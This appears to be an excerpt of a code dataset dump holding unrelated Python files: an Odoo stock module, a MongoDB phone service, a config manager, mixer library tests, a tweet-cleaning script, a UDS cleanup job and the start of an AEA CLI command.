if all lines have the same picking type (incoming, outgoing)\n picking_code = lines[0].picking_type_id.code\n same_picking_types = all([line.picking_type_id.code == picking_code for line in lines])\n if not same_picking_types:\n raise UserError('Operation types must be of same code!')\n\n lines = sorted(lines, key=lambda l: l.picking_type_id)\n\n for picking_type, damage_lines in groupby(lines, key=lambda l: l.picking_type_id):\n\n picking_values = {}\n move_values = {}\n\n if picking_type.code == 'incoming':\n location_id = picking_type.default_location_dest_id\n picking_values.update({\n 'location_id': self.env.ref('stock.stock_location_suppliers').id,\n 'location_dest_id': location_id.id,\n 'transfer_type': 'damage_receipt',\n })\n move_values.update({\n 'location_id': self.env.ref('stock.stock_location_suppliers').id,\n 'location_dest_id': location_id.id,\n })\n else:\n location_id = picking_type.default_location_src_id\n picking_values.update({\n 'location_id': location_id.id,\n 'location_dest_id': self.env.ref('stock.stock_location_customers').id,\n 'transfer_type': 'damage_delivery',\n })\n move_values.update({\n 'location_id': location_id.id,\n 'location_dest_id': self.env.ref('stock.stock_location_customers').id,\n })\n\n if not location_id:\n raise UserError('Please check the operation types.\\n'\n 'Some of those do not have the required location.')\n\n picking_values.update({\n 'picking_type_id': picking_type.id,\n 'customer_name': self.partner_id.id,\n 'partner_id': deli_id,\n 'company_id': self.company_id.id,\n 'origin': self.name,\n 'damaged_id': self.id,\n 'mr_no': self.mr_no,\n 'sale_person': self.sale_person.id,\n 'issued_date': self.issued_date,\n 'branch_id': self.branch_id.id,\n 'damaged_remark': self.damaged_remark,\n 'team_id': self.team_id.id,\n 'sale_by': self.sale_by.id,\n 'accept_person': self.accept_person,\n })\n\n picking = self.env['stock.picking'].create(picking_values)\n\n for product_line in list(damage_lines):\n move_values.update({\n 'name': self.name,\n 'product_id': product_line.product_id.id,\n 'picking_id': picking.id,\n 'product_uom': product_line.product_uom.id,\n 'product_uom_qty': product_line.product_uom_qty,\n 'remark': product_line.remark,\n 'description_picking': product_line.product_description,\n })\n self.env['stock.move'].create(move_values)\n\n picking.action_confirm()\n\n def action_view_receipt(self):\n action = self.env.ref('stock.action_picking_tree_all').read()[0]\n pickings = self.mapped('picking_ids')\n if len(pickings) > 1:\n action['domain'] = [('id', 'in', pickings.ids)]\n elif pickings:\n action['views'] = [(self.env.ref('stock.view_picking_form').id, 'form')]\n action['res_id'] = pickings.id\n return action\n\n\nclass SaleSampleGiveLine(models.Model):\n _name = 'damage.product.line'\n _description = 'Damaged Product Line'\n\n damaged_id = fields.Many2one('damage.product', string='Reference', required=True, ondelete='cascade', index=True, copy=False)\n product_id = fields.Many2one('product.product', 'Product', required=True)\n image_small = fields.Binary(\"Product Image\", related=\"product_id.image_1920\")\n product_description = fields.Char(string='Description',related=\"product_id.product_tmpl_id.name\")\n product_uom = fields.Many2one('uom.uom', 'UOM',related='product_id.uom_id',required=False)\n product_uom_qty = fields.Float(\n 'Request Qty', default=1.0,\n digits='Product Unit of Measure', required=True)\n issued_qty = fields.Float(\n 'Issue Qty', default=1.0,\n digits='Product Unit of Measure')\n remark = fields.Text(string='Remark')\n\n inventory_quantity = fields.Float('Qty available',compute='compute_inventory_quantity')\n\n deliver_qty = fields.Integer(\"Deliver Qty\")\n return_qty = fields.Integer('Return Qty')\n balance_qty = fields.Integer('Balance Qty')\n product_brand_id = fields.Many2one('product.brand', string='Category')\n picking_type_id = fields.Many2one('stock.picking.type', 'Operation Type',\n domain=[('code', 'in', ['incoming', 'outgoing'])])\n\n def compute_inventory_quantity(self):\n for line in self:\n stock_quant = self.env['stock.quant'].search([('product_id','=',line.product_id.id),('location_id','=',line.damaged_id.location_id.id)],limit=1)\n line.inventory_quantity = stock_quant.quantity\n\n @api.onchange('product_id')\n def onchange_product_id(self):\n if self.product_id:\n self.product_uom = self.product_id.uom_id.id\n self.product_brand_id = self.product_id.brand_id","sub_path":"damage_form/models/damaged_product.py","file_name":"damaged_product.py","file_ext":"py","file_size_in_byte":12539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"60090427","text":"from app.core.database import db\nfrom app.models.phone import Phone\nfrom datetime import datetime\nfrom pymongo.collection import ReturnDocument\n\ndef create(phone: Phone):\n phone.date_insert = datetime.utcnow()\n phone.disabled = False\n if hasattr(phone, \"date_update\"):\n delattr(phone, \"date_update\")\n if hasattr(phone, \"id\"):\n delattr(phone, \"id\")\n if hasattr(phone, \"username_update\"):\n delattr(phone, \"username_update\")\n ret = db.phone.insert_one(phone.dict(by_alias=True))\n return ret\n\ndef update(phone: Phone):\n if hasattr(phone, \"date_insert\"):\n delattr(phone, \"date_insert\")\n if hasattr(phone, \"disabled\"):\n delattr(phone, \"disabled\")\n if hasattr(phone, \"username_insert\"):\n delattr(phone, \"username_insert\")\n phone.date_update = datetime.utcnow()\n ret = db.phone.find_one_and_update(\n {\"_id\": phone.id, \"disabled\": False},\n {\"$set\": phone.dict(by_alias=True)},\n return_document=ReturnDocument.AFTER,\n )\n return ret\n\n\ndef delete(phone: Phone):\n phone.date_update = datetime.utcnow()\n ret = db.phone.find_one_and_update(\n {\"_id\": phone.id, \"disabled\": False},\n {\"$set\": {\"disabled\": True, \"date_update\": phone.date_update, \"username_update\": phone.username_update}},\n return_document=ReturnDocument.AFTER,\n )\n return ret\n\n\ndef getByID(phone: Phone):\n finded = db.phone.find_one({\"_id\": phone.id, \"disabled\": False})\n if finded is not None:\n return Phone(**finded)\n else:\n return None\n\n\ndef get():\n finded = db.phone.find({\"disabled\": False})\n phones = []\n for find in finded:\n phones.append(Phone(**find))\n return phones\n\ndef search(phone: Phone):\n finded = db.phone.find(\n {\n \"$and\": [\n {\"disabled\": False},\n {\n \"$or\": [\n {\"segment\": {\"$regex\": phone.segment, \"$options\": \"i\"}},\n {\"number\": {\"$regex\": phone.number}},\n {\"name\": {\"$regex\": phone.name, \"$options\": \"i\"}},\n ]\n },\n ]\n }\n )\n phones = []\n for find in finded:\n phones.append(Phone(**find))\n return phones\n\n\ndef update_segment(oldsegment: str, newsegment: str):\n ret = db.phone.update_many(\n {\"segment\": oldsegment, \"disabled\": False},\n {\"$set\": {\"segment\": newsegment}},\n )\n return ret\n\n\ndef get_by_segment(item: Phone):\n finded = db.phone.find({\"segment\": item.segment, \"disabled\": False})\n items = []\n for find in finded:\n items.append(Phone(**find))\n return items","sub_path":"app/services/phone_service.py","file_name":"phone_service.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"605611837","text":"'''\nConfig manager file to quickly write app configurations\n'''\nimport json\nimport datetime\nimport os\nfrom logger_file import Logger\n\nlogger = Logger(console=False).get_logger()\n\n\nclass Config:\n '''\n Config class with methods\n write(key, value)\n read() #reads value of a key\n get_dict(value)#gives a key from value\n delete_key(key)#deletes a key\n delete_config()#deletes a config file\n empty_config()#empties a config file\n '''\n\n def __init__(self, file, backup_dir='~/.cli_backup/'):\n self.file_path = os.path.expanduser(file)\n self.file = os.path.basename(file)\n self.backup_dir = os.path.expanduser(backup_dir)\n\n def write(self, key, value):\n '''\n writes to a config file as a dictionary\n\n params:\n key:name of setting\n value: value of setting\n Usage:\n Config.write('user.email','a@a.com')\n '''\n if not os.path.exists(self.file_path):\n with open(self.file_path, 'w'):\n logger.debug(\"file created\")\n\n with open(self.file_path, 'r')as rf:\n content = rf.read()\n\n if content != \"\":\n logger.debug(\"file not empty, appending..\")\n read_dict = json.loads(content)\n read_dict[key] = value\n self.write_dict(read_dict)\n else:\n logger.debug(\"file empty, first entry\")\n dump_dict = {}\n dump_dict[key] = value\n self.write_dict(dump_dict)\n\n def write_dict(self, new_dict):\n '''\n params: dictionary containing configs\n returns : nothing\n '''\n with open(self.file_path, 'w')as rf:\n json.dump(new_dict, rf)\n logger.debug(\"succesfully added config dict\")\n\n def delete_config(self, backup=True):\n '''\n Deletes config_file to backup_dir (both specified in Config class)\n Params:\n backup [boolean] : Defaults to True\n '''\n # manage name acc to current datetime\n name = str(datetime.datetime.now()) + '.cfg'\n if backup:\n if not os.path.exists(self.backup_dir):\n os.makedirs(self.backup_dir)\n logger.debug('creating backup dir')\n\n if os.path.exists(self.file_path):\n new_name = os.path.join(self.backup_dir, name)\n os.rename(self.file_path, new_name)\n logger.debug('deleted')\n\n else:\n logger.debug(\"file not found, check if it exists\")\n else:\n os.remove(self.file_path)\n logger.debug('deleted permanently')\n\n def file_exists(self):\n '''returns True or False '''\n if os.path.exists(self.file_path):\n return True\n else:\n return False\n\n def get_dict(self):\n '''\n returns: A python dictionary of all configs\n '''\n with open(self.file_path, 'r')as rf:\n json_data = rf.read()\n try:\n content = json.loads(json_data)\n return content\n except Exception as e:\n raise e # (\"file maybe empty or not contain json data\")\n\n def read(self, key=None, value=None, all_keys=False, all_values=False):\n '''\n Reads and return key or value from config file\n (returns config dict if no parameter)\n Params:\n [o] key: Key of dictionary to get the value of\n [o] value : value of dictionary to get key of\n [o] all_keys [bool] : True returns all keys dict object\n [o] all_values [bool]: True returns all values dict obj.\n '''\n # Check if more than 1 kwargs given\n arguments = (key, value, all_keys, all_values)\n given = [1 for i in arguments if i]\n if len(given) >= 2:\n raise ValueError(\"More than 1 arguments given\")\n\n # ensure the file exists.\n self.file_exists()\n # load the dictionary from config\n configs = self.get_dict()\n if all_keys:\n return configs.keys()\n\n elif all_values:\n return configs.values()\n\n elif key:\n try:\n return configs[key]\n except KeyError:\n raise KeyError(\"The key doesnot exist in config\")\n\n elif value:\n key = [k for k, v in configs.items() if v == value]\n if len(key) == 1:\n return key[0]\n elif len(key) > 1:\n return key\n else:\n raise KeyError(\"The value doesnot exist in config\")\n else:\n return self.get_dict()\n\n def init_config(self):\n '''Empties the file\n Raises error with .read() method but applicable with write()\n '''\n\n with open(self.file_path, 'w'):\n logger.debug(\"file emptied\")\n\n def delete_key(self, key):\n '''\n Deletes a given key from the config\n '''\n config_dict = self.get_dict()\n del config_dict[key]\n self.write_dict(config_dict)\n","sub_path":"lab/config_writer.py","file_name":"config_writer.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"26105204","text":"\"\"\" Test mixer base functionality. \"\"\"\nimport datetime\n\nimport pytest\nfrom decimal import Decimal\n\nfrom mixer.main import Mixer, TypeMixer\n\n\nclass Test:\n\n \"\"\" Model scheme for base tests. \"\"\"\n\n one = int\n two = int\n name = str\n title = str\n body = str\n price = Decimal\n choices = list\n parts = set\n scheme = dict\n\n\ndef test_generators():\n \"\"\" Test random generators. \"\"\"\n from mixer import generators as g\n\n test = next(g.gen_choice((1, 2, 3)))\n assert test in (1, 2, 3)\n\n test = next(g.gen_date())\n assert isinstance(test, datetime.date)\n\n min_date, max_date = (2010, 1, 1), (2011, 1, 1)\n test = next(g.gen_date(min_date, max_date))\n assert 2010 <= test.year <= 2011\n\n test = next(g.gen_date(\n datetime.date(*min_date), datetime.date(*max_date)))\n assert 2010 <= test.year <= 2011\n\n test = next(g.gen_time())\n assert isinstance(test, datetime.time)\n\n min_time, max_time = (14, 30), (15, 30)\n test = next(g.gen_time(min_time, max_time))\n assert 14 <= test.hour <= 15\n\n test = next(g.gen_time(\n datetime.time(*min_time), datetime.time(*max_time)))\n assert 14 <= test.hour <= 15\n\n test = next(g.gen_datetime())\n assert isinstance(test, datetime.datetime)\n\n test = next(g.gen_integer())\n assert -2147483647 <= test < 2147483647\n\n test = next(g.gen_big_integer())\n assert -9223372036854775808 <= test < 9223372036854775808\n\n test = next(g.gen_small_integer())\n assert -32768 <= test < 32768\n\n test = next(g.gen_positive_integer())\n assert test >= 0\n\n test = next(g.gen_small_positive_integer())\n assert test >= 0\n\n test = next(g.gen_float())\n assert test\n\n test = next(g.gen_boolean())\n assert test in (True, False)\n\n test = next(g.gen_string())\n assert test\n\n test = next(g.gen_decimal())\n assert test\n\n test = next(g.gen_positive_decimal())\n assert test\n\n test = next(g.gen_positive_decimal(i=2))\n assert test < 100\n\n test = next(g.gen_percent())\n assert 0 <= test <= 100\n\n test = next(g.gen_percent_decimal())\n assert Decimal('0.01') <= test <= Decimal('1.00')\n\n test = next(g.gen_timedelta())\n assert test\n\n d1, d2 = next(g.gen_datetime_range())\n assert d1\n assert d2\n assert d2 > d1\n\n\ndef test_fakers():\n \"\"\" Test default fakers. \"\"\"\n from mixer import fakers as f\n\n test = next(f.gen_name())\n assert test\n\n test = next(f.gen_city())\n assert test\n\n test = next(f.gen_lorem(length=30))\n assert len(test) <= 30\n\n test = next(f.gen_numerify('##-####'))\n assert test\n\n test = next(f.gen_username(length=50))\n assert test\n\n test = next(f.gen_simple_username(length=50))\n assert test\n\n test = next(f.gen_hostname())\n assert test\n\n test = next(f.gen_email())\n assert test\n\n test = next(f.gen_email(host='gmail'))\n assert 'gmail' in test\n\n test = next(f.gen_ip4())\n assert '.' in test\n\n test = next(f.gen_url())\n assert '/' in test\n\n test = next(f.gen_uuid())\n assert '-' in test\n\n test = next(f.gen_phone())\n assert '-' in test\n\n test = next(f.gen_company())\n assert test\n\n test = next(f.gen_latlon())\n assert test\n\n test = next(f.gen_coordinates())\n assert test\n\n test = next(f.gen_city())\n assert test\n\n test = next(f.gen_genre())\n assert test\n\n test = next(f.gen_short_lorem())\n assert test\n\n test = next(f.gen_slug())\n assert test\n\n test = next(f.gen_street())\n assert test\n\n test = next(f.gen_address())\n assert test\n\n\ndef test_factory():\n \"\"\" Test base generator's factory. \"\"\"\n from mixer.main import GenFactory\n\n g = GenFactory()\n test = g.gen_maker(int)()\n assert -2147483647 <= next(test) < 2147483647\n\n test = g.gen_maker(bool)()\n assert next(test) in (True, False)\n\n\ndef test_typemixer_meta():\n \"\"\" Tests that typemixer is a singleton for current class. \"\"\"\n mixer1 = TypeMixer(Test)\n mixer2 = TypeMixer(Test, fake=False)\n mixer3 = TypeMixer(Test, fake=False)\n\n assert mixer1 is not mixer2\n assert mixer2 is mixer3\n\n\ndef test_typemixer():\n\n class Scheme:\n id = int\n name = str\n money = int\n male = bool\n prop = Test\n\n mixer = TypeMixer(Scheme)\n test = mixer.blend(prop__two=2, prop__one=1, prop__name='sigil', name='RJ')\n assert test.male in (True, False)\n assert test.name == 'RJ'\n assert test.prop.two == 2\n assert test.prop.name == 'sigil'\n\n test = mixer.blend(prop__two=4, unknown=lambda: '?')\n assert test.prop.two == 4\n assert test.unknown == '?'\n\n\ndef test_fake():\n from mixer.main import mixer\n\n test = mixer.blend(Test, name=mixer.FAKE, title=mixer.FAKE)\n assert ' ' in test.name\n assert ' ' in test.title\n\n test = mixer.blend(Test, name=mixer.FAKE(bool))\n assert test.name in (True, False)\n\n\ndef test_random():\n from mixer._compat import string_types\n\n mixer = TypeMixer(Test)\n test = mixer.blend(name=mixer.RANDOM)\n assert isinstance(test.name, string_types)\n assert ' ' not in test.name\n\n test = mixer.blend(name=mixer.RANDOM(int))\n assert isinstance(test.name, int)\n\n names = ['john_', 'kenn_', 'lenny_']\n test = mixer.blend(name=mixer.RANDOM(*names))\n assert test.name in names\n\n\ndef test_mix():\n from mixer.main import mixer\n\n lama = type('One', tuple(), dict(\n two=int,\n one=type('Two', tuple(), dict(two=2.1))\n ))\n mix = mixer.MIX.one.two\n assert mix & lama == 2.1\n\n test = mixer.blend(lama, one__two=2.1)\n assert test.one.two == 2.1\n assert test.two != test.one.two\n\n test = mixer.blend(lama, one__two=2.1, two=mixer.MIX.one.two)\n assert test.two == test.one.two\n\n\ndef test_mixer():\n mixer = Mixer()\n\n assert Mixer.SKIP == mixer.SKIP\n try:\n Mixer.SKIP = 111\n raise AssertionError('test are failed')\n except AttributeError:\n pass\n try:\n mixer.SKIP = 111\n raise AssertionError('test are failed')\n except AttributeError:\n pass\n\n gen = ('test{0}'.format(i) for i in range(500))\n test = mixer.blend('tests.test_main.Test', name=gen)\n assert test.name == 'test0'\n\n name_gen = mixer.sequence(lambda c: 'test' + str(c))\n test = mixer.blend(Test, name=name_gen)\n test = mixer.blend(Test, name=name_gen)\n test = mixer.blend(Test, name=name_gen)\n assert test.name == 'test2'\n\n name_gen = mixer.sequence('test{0}')\n test = mixer.blend(Test, name=name_gen)\n test = mixer.blend(Test, name=name_gen)\n assert test.name == 'test1'\n\n name_gen = mixer.sequence()\n test = mixer.blend(Test, name=name_gen)\n test = mixer.blend(Test, name=name_gen)\n assert test.name == 1\n\n mixer.register('tests.test_main.Test',\n name='Michel', one=lambda: 'ID', unknown=\"No error here\")\n test = mixer.blend(Test)\n assert test.one == 'ID'\n assert test.name == 'Michel'\n\n\ndef test_mixer_cycle():\n mixer = Mixer()\n test = mixer.cycle(3).blend(Test)\n assert len(test) == 3\n assert test[0].__class__ == Test\n\n test = mixer.cycle(3).blend(Test, name=mixer.sequence('lama{0}'))\n assert test[2].name == 'lama2'\n\n\ndef test_mixer_default():\n from mixer.main import mixer\n\n test = mixer.blend(Test)\n assert test.name\n\n\ndef test_invalid_scheme():\n from mixer.main import mixer\n\n with pytest.raises(ValueError):\n mixer.blend('tests.test_main.Unknown')\n\n\ndef test_sequence():\n from mixer.main import mixer\n\n gen = mixer.sequence()\n assert next(gen) == 0\n assert next(gen) == 1\n\n gen = mixer.sequence('test - {0}')\n assert next(gen) == 'test - 0'\n assert next(gen) == 'test - 1'\n\n gen = mixer.sequence(lambda c: c + 2)\n assert next(gen) == 2\n assert next(gen) == 3\n\n gen = mixer.sequence(4, 3)\n assert next(gen) == 4\n assert next(gen) == 3\n assert next(gen) == 4\n\n\ndef test_custom():\n mixer = Mixer()\n\n @mixer.middleware(Test)\n def postprocess(x): # noqa\n x.name += ' Done'\n return x\n\n mixer.register(\n Test,\n name='Mike',\n one=mixer.G.get_float,\n body=lambda: mixer.G.get_datetime((1980, 1, 1)),\n )\n\n test = mixer.blend(Test)\n assert test.name == 'Mike Done'\n assert isinstance(test.one, float)\n assert test.body >= datetime.datetime(1980, 1, 1)\n\n from mixer.main import GenFactory\n\n class MyFactory(GenFactory):\n generators = {str: lambda: \"Always same\"}\n\n mixer = Mixer(factory=MyFactory, fake=False)\n test = mixer.blend(Test)\n assert test.name == \"Always same\"\n\n\ndef test_ctx():\n from mixer.main import LOGGER\n\n mixer = Mixer()\n level = LOGGER.level\n\n with mixer.ctx(loglevel='INFO'):\n mixer.blend(Test)\n assert LOGGER.level != level\n\n assert LOGGER.level == level\n\n\ndef test_silence():\n mixer = Mixer()\n\n @mixer.middleware(Test)\n def falsed(test): # noqa\n raise Exception('Unhandled')\n\n with pytest.raises(Exception):\n mixer.blend(Test)\n\n with mixer.ctx(silence=True):\n mixer.blend(Test)\n\n\ndef test_guard():\n mixer = Mixer()\n test = mixer.guard().blend(Test)\n assert test\n\n\ndef test_skip():\n mixer = Mixer()\n test = mixer.blend(Test, one=mixer.SKIP)\n assert test.one is not mixer.SKIP\n assert test.one is int\n\n\ndef test_reload():\n mixer = Mixer()\n test = mixer.blend(Test)\n test2 = mixer.reload(test)\n assert test is not test2\n assert test.name == test2.name\n\n test3, test4 = mixer.reload(test, test2)\n assert test3 and test4\n","sub_path":"tests/test_main.py","file_name":"test_main.py","file_ext":"py","file_size_in_byte":9554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"579184831","text":"import tweepy\nimport pandas as pd\nimport twitter_credentials\nfrom tweepy import OAuthHandler\n\n\"\"\"Cleaning Tweets!\"\"\"\n\ndef clean_links(string):\n words = []\n ar = string.split(' ') #array of words\n for x in ar: #reading one word at time\n if not (x.find('http')):\n pass\n else:\n words.append(x)\n string = ' '.join(words)\n print(string)\n return string\n\n#----------------------------------------------------------------------------------------------\n\ndef clean_at_the_rate(word):\n for x in word:\n if (x == '@'):\n return False\n return True\n\n#----------------------------------------------------------------------------------------------\n\ndef clean_hashtag(word):\n for x in word:\n if (x == '#'):\n return False\n return True\n\n#----------------------------------------------------------------------------------------------\n\ndef clean_othersymbols(string):\n words = string.split(' ')\n clean_words = []\n for word in words:\n if(word == '[a-z][A-Z]+'):\n clean_words.append(word)\n\n cleaned_string = ' '.join(clean_words)\n return cleaned_string\n\n#----------------------------------------------------------------------------------------------\n\ndef cleaning_tweet(str):\n s1 = clean_links(str)\n string = s1.split(' ')\n words = []\n for word in string:\n if (clean_hashtag(word) and clean_at_the_rate(word)):\n words.append(word)\n s1 = ' '\n s2 = s1.join(words)\n print(s1)\n s3 = clean_othersymbols(s2)\n return s3\n\n#----------------------------------------------------------------------------------------------\n\n\"\"\"Converting Tweets into dataframe\"\"\"\n\n\ndef tweet_to_dataframe(tweets):\n tweetss = []\n for tweet in tweets:\n if tweet.lang == \"en\":\n tweetss.append(tweet)\n df = pd.DataFrame(data=[tweet.text for tweet in tweetss], columns=['Tweets'])\n df['ID'] = [tweet.id for tweet in tweetss]\n df['Retweet'] = [tweet.retweet_count for tweet in tweetss]\n df['Length of Tweet'] = [len(tweet.text) for tweet in tweetss]\n df['Clean Tweet'] = [cleaning_tweet(tweet.text) for tweet in tweetss]\n df.to_csv(r'tweetsincsv.csv')\n\n#----------------------------------------------------------------------------------------------\n\n\nauth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)\nauth.set_access_token(twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)\napi = tweepy.API(auth)\ntweets = api.user_timeline(screen_name='narendramodi', count=100)\n\n# for tweet in tweets:\n# if tweet.lang == \"en\":\n# #print(tweet.text)\n# print(type(tweets))\nprint(\"***************************************\\n\")\ntweet_to_dataframe(tweets)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"372461781","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (c) 2012-2020 Virtual Cable S.L.U.\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# * Neither the name of Virtual Cable S.L. nor the names of its contributors\n# may be used to endorse or promote products derived from this software\n# without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n\"\"\"\n@author: Adolfo Gómez, dkmaster at dkmon dot com\n\"\"\"\nfrom datetime import datetime, timedelta\nimport logging\nimport typing\n\nfrom django.db.models import Q, Count\n\nfrom uds.models import ServicePool, UserService, getSqlDatetime\nfrom uds.core.util.state import State\nfrom uds.core.jobs import Job\nfrom uds.core.util import log\n\nlogger = logging.getLogger(__name__)\n\nMAX_STUCK_TIME = (\n 3600 * 24\n) # At most 1 days \"Stuck\", not configurable (there is no need to)\n\n\nclass StuckCleaner(Job):\n \"\"\"\n Kaputen Cleaner is very similar to Hanged Cleaner\n We keep it in a new place to \"control\" more specific thins\n \"\"\"\n\n frecuency = 3601 * 8 # Executes every 8 hours\n friendly_name = 'Stuck States cleaner'\n\n def run(self) -> None:\n since_state: datetime = getSqlDatetime() - timedelta(seconds=MAX_STUCK_TIME)\n # Filter for locating machine stuck on removing, cancelling, etc..\n # Locate service pools with pending assigned service in use\n servicePoolswithStucks = (\n ServicePool.objects.annotate(\n stuckCount=Count(\n 'userServices',\n filter=Q(userServices__state_date__lt=since_state)\n & (\n Q(\n userServices__state=State.PREPARING,\n userServices__properties__name='destroy_after',\n )\n | ~Q(\n userServices__state__in=State.INFO_STATES\n + State.VALID_STATES\n )\n ),\n )\n )\n .filter(service__provider__maintenance_mode=False, state=State.ACTIVE)\n .exclude(stuckCount=0)\n )\n\n # Info states are removed on UserServiceCleaner and VALID_STATES are ok, or if \"hanged\", checked on \"HangedCleaner\"\n def stuckUserServices(servicePool: ServicePool) -> typing.Iterable[UserService]:\n q = servicePool.userServices.filter(state_date__lt=since_state)\n # Get all that are not in valid or info states, AND the ones that are \"PREPARING\" with \n # \"destroy_after\" property set (exists) (that means that are waiting to be destroyed after initializations)\n yield from q.exclude(state__in=State.INFO_STATES + State.VALID_STATES)\n yield from q.filter(state=State.PREPARING, properties__name='destroy_after')\n\n for servicePool in servicePoolswithStucks:\n # logger.debug('Searching for stuck states for %s', servicePool.name)\n for stuck in stuckUserServices(servicePool):\n logger.debug('Found stuck user service %s', stuck)\n log.doLog(\n servicePool,\n log.ERROR,\n 'User service {} has been hard removed because it\\'s stuck'.format(\n stuck.name\n ),\n )\n # stuck.setState(State.ERROR)\n stuck.delete()\n","sub_path":"server/src/uds/core/workers/stuck_cleaner.py","file_name":"stuck_cleaner.py","file_ext":"py","file_size_in_byte":4643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"349847112","text":"__all__ = (\n '__title__', '__summary__', '__uri__', '__version__', '__author__', '__email__', '__license__', '__copyright__',\n '__maintainer__', '__maintainer_email__'\n)\n\n__title__ = 'maskrcnnkeras'\n__summary__ = 'Mask R-CNN'\n__uri__ = 'https://github.com/DmitryRyumin/pkgs/tree/master/maskrcnnkeras'\n\n__version__ = '20.2.17.0'\n\n__author__ = 'Dmitry Ryumin'\n__email__ = 'dl_03.03.1991@mail.ru'\n\n__maintainer__ = 'Dmitry Ryumin'\n__maintainer_email__ = 'dl_03.03.1991@mail.ru'\n\n__license__ = 'MIT'\n__copyright__ = 'Copyright (c) 2020 Dmitry Ryumin'","sub_path":"maskrcnnkeras/maskrcnnkeras/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"277574464","text":"# -*- coding: utf-8 -*-\n# ------------------------------------------------------------------------------\n#\n# Copyright 2018-2019 Fetch.AI Limited\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# ------------------------------------------------------------------------------\n\n\"\"\"Implementation of the 'aea add' subcommand.\"\"\"\n\nimport os\nimport shutil\nimport sys\nfrom pathlib import Path\nfrom typing import cast\n\nimport click\nfrom click import pass_context\nfrom jsonschema import ValidationError\n\nfrom aea import AEA_DIR\nfrom aea.cli.common import Context, pass_ctx, logger, _try_to_load_agent_config\nfrom aea.configurations.base import DEFAULT_AEA_CONFIG_FILE, DEFAULT_CONNECTION_CONFIG_FILE, DEFAULT_SKILL_CONFIG_FILE, \\\n DEFAULT_PROTOCOL_CONFIG_FILE\nfrom aea.cli.registry.utils import fetch_package, split_public_id\n\n\n@click.group()\n@click.option('--registry', is_flag=True, help=\"For adding from Registry.\")\n@pass_ctx\ndef add(ctx: Context, registry):\n \"\"\"Add a resource to the agent.\"\"\"\n if registry:\n ctx.set_config(\"is_registry\", True)\n _try_to_load_agent_config(ctx)\n\n\ndef _find_connection_locally(ctx, connection_name):\n # check that the provided path points to a proper connection directory -> look for connection.yaml file.\n # first check in aea dir\n registry_path = ctx.agent_config.registry_path\n connection_configuration_filepath = Path(os.path.join(registry_path, \"connections\", connection_name, DEFAULT_CONNECTION_CONFIG_FILE))\n if not connection_configuration_filepath.exists():\n # then check in registry\n registry_path = AEA_DIR\n connection_configuration_filepath = Path(os.path.join(registry_path, \"connections\", connection_name, DEFAULT_CONNECTION_CONFIG_FILE))\n if not connection_configuration_filepath.exists():\n logger.error(\"Cannot find connection: '{}'.\".format(connection_name))\n sys.exit(1)\n\n # try to load the connection configuration file\n try:\n connection_configuration = ctx.connection_loader.load(open(str(connection_configuration_filepath)))\n logger.info(\"Connection '{}' supports the following protocols: {}\".format(connection_name, connection_configuration.restricted_to_protocols))\n except ValidationError as e:\n logger.error(\"Connection configuration file not valid: {}\".format(str(e)))\n sys.exit(1)\n\n # copy the connection package into the agent's supported connections.\n src = str(Path(os.path.join(registry_path, \"connections\", connection_name)).absolute())\n dest = os.path.join(ctx.cwd, \"connections\", connection_name)\n logger.debug(\"Copying connection modules. src={} dst={}\".format(src, dest))\n try:\n shutil.copytree(src, dest)\n except Exception as e:\n logger.error(str(e))\n sys.exit(1)\n\n\n@add.command()\n@click.argument(\n 'connection_name', type=str, required=True\n)\n@pass_context\ndef connection(click_context, connection_name):\n \"\"\"Add a connection to the configuration file.\"\"\"\n ctx = cast(Context, click_context.obj)\n agent_name = 